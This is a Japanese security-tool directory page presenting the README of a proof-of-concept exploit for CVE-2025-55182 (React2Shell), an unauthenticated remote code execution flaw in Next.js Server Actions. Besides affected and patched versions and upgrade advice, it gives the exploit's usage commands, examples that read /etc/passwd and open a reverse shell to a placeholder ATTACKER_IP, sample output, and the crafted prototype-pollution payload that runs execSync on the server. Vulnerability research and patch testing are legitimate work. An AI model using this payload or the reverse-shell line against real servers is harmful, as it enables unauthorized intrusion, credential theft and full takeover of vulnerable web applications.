Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
nextjs-CVE-2025-55182 — Next.js Server ActionsにおけるReact Flight Protocolのデシリアライゼーションを介した重要な未認証RCEの概念実証エクスプロイトで、脆弱なサーバー上で任意のコマンド実行を可能にします。 | Kitploit
ツール/GitHubGitHub/d0cnull/nextjs-cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育リモートアクセスツールペイロード開発
GitHubd0cnull/nextjs-cve-2025-55182

nextjs-CVE-2025-55182

Next.js Server ActionsにおけるReact Flight Protocolのデシリアライゼーションを介した重要な未認証RCEの概念実証エクスプロイトで、脆弱なサーバー上で任意のコマンド実行を可能にします。

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 / CVE-2025-66478 (React2Shell) - Next.js リモートコード実行 (RCE) PoC

Next.js Server Actions における深刻な脆弱性。React Flight Protocol のデシリアライズを介した認証不要のリモートコード実行が可能

概要

このリポジトリは、Server Actions(React Server Functions)を使用する Next.js アプリケーションに影響する深刻なRCE脆弱性の Proof of Concept (PoC) を含んでいます。

詳細情報
CVECVE-2025-55182 / CVE-2025-66478
深刻度Critical (CVSS 10.0)
影響を受けるReactReact 19.0.0, 19.1.0, 19.1.1, 19.2.0
影響を受けるNext.jsNext.js 15.x, 16.x, 14.3.0-canary.77+
影響を受けないNext.js 14.x stable, 13.x, Pages Router, Edge Runtime
修正済みNext.js15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
修正済みReact19.0.1, 19.1.2, 19.2.1
種類Remote Code Execution (RCE)
認証要件なし

脆弱性の説明

この脆弱性は、Server Actions処理中に React Flight Protocol がチャンクをデシリアライズする方法に存在します。攻撃者は巧妙に細工されたフォームデータを介して プロトタイプ汚染 を悪用し、以下のことが可能です:

  1. プロトタイプチェーン探索 (__proto__) を介して Function コンストラクタにアクセス
  2. サーバー上で任意のJavaScriptコードを実行
  3. 認証なしで完全な リモートコード実行 を達成

これはサーバーアクションの検証 前 に発生するため、Server Actionsが有効なすべてのNext.jsアプリで悪用可能です。

影響を受けるアプリケーション

以下の条件を満たすNext.jsアプリケーションは脆弱です:

  • Server Actions を使用している(App Routerではデフォルト)
  • Next.js 15.x または 16.x(または14.3.0-canary.77+)を実行している
  • 特定の緩和策が講じられていない

使用方法

必要条件

root@kitploit:~
pip install requests

PoCの実行

root@kitploit:~
python3 poc.py <TARGET_URL> "<COMMAND>"

例

root@kitploit:~
# Test command execution
python3 poc.py http://localhost:3000 "id"

# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"

# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

サンプル出力

root@kitploit:~
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

コマンドの出力は digest フィールドに表示されます。

技術的詳細

このエクスプロイトはReact Flight Protocolのチャンク解決メカニズムを利用します:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

攻撃チェーン:

  1. $1:__proto__:then によるプロトタイプ探索
  2. $1:constructor:constructor による Function コンストラクタへのアクセス
  3. _prefix フィールドによる任意コードの注入
  4. デシリアライズ中にコードが実行(認証前)

緩和策

直ちにアップグレードしてください:

root@kitploit:~
npm install next@latest
# or
pnpm update next

パッチ適用済みバージョン: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

注: Next.js 14.x stable および 13.x は脆弱ではありません。

免責事項

⚠️ このPoCは教育および許可されたセキュリティテスト目的にのみ使用されます。

許可なくコンピュータシステムにアクセスすることは違法です。このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。作者は悪用に対して一切の責任を負いません。

クレジット

@msanft による最初の研究に基づいています。脆弱性の発見と初期PoCの全功績は彼に帰属します。

参考文献

  • 元のCVE-2025-55182研究
  • Next.js公式CVEアドバイザリ
  • Wiz Research - React2Shell分析
  • React Flight Protocol
  • NIST NVD - CVE-2025-55182

キーワード

Next.js RCE, Next.js脆弱性, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Componentsエクスプロイト, Next.js Server Actions RCE, Next.jsプロトタイプ汚染, React Flight Protocol脆弱性, Next.jsセキュリティ, Next.jsリモートコード実行, Next.jsエクスプロイトPoC, Server Actions脆弱性, React RSC RCE

ツールをダウンロード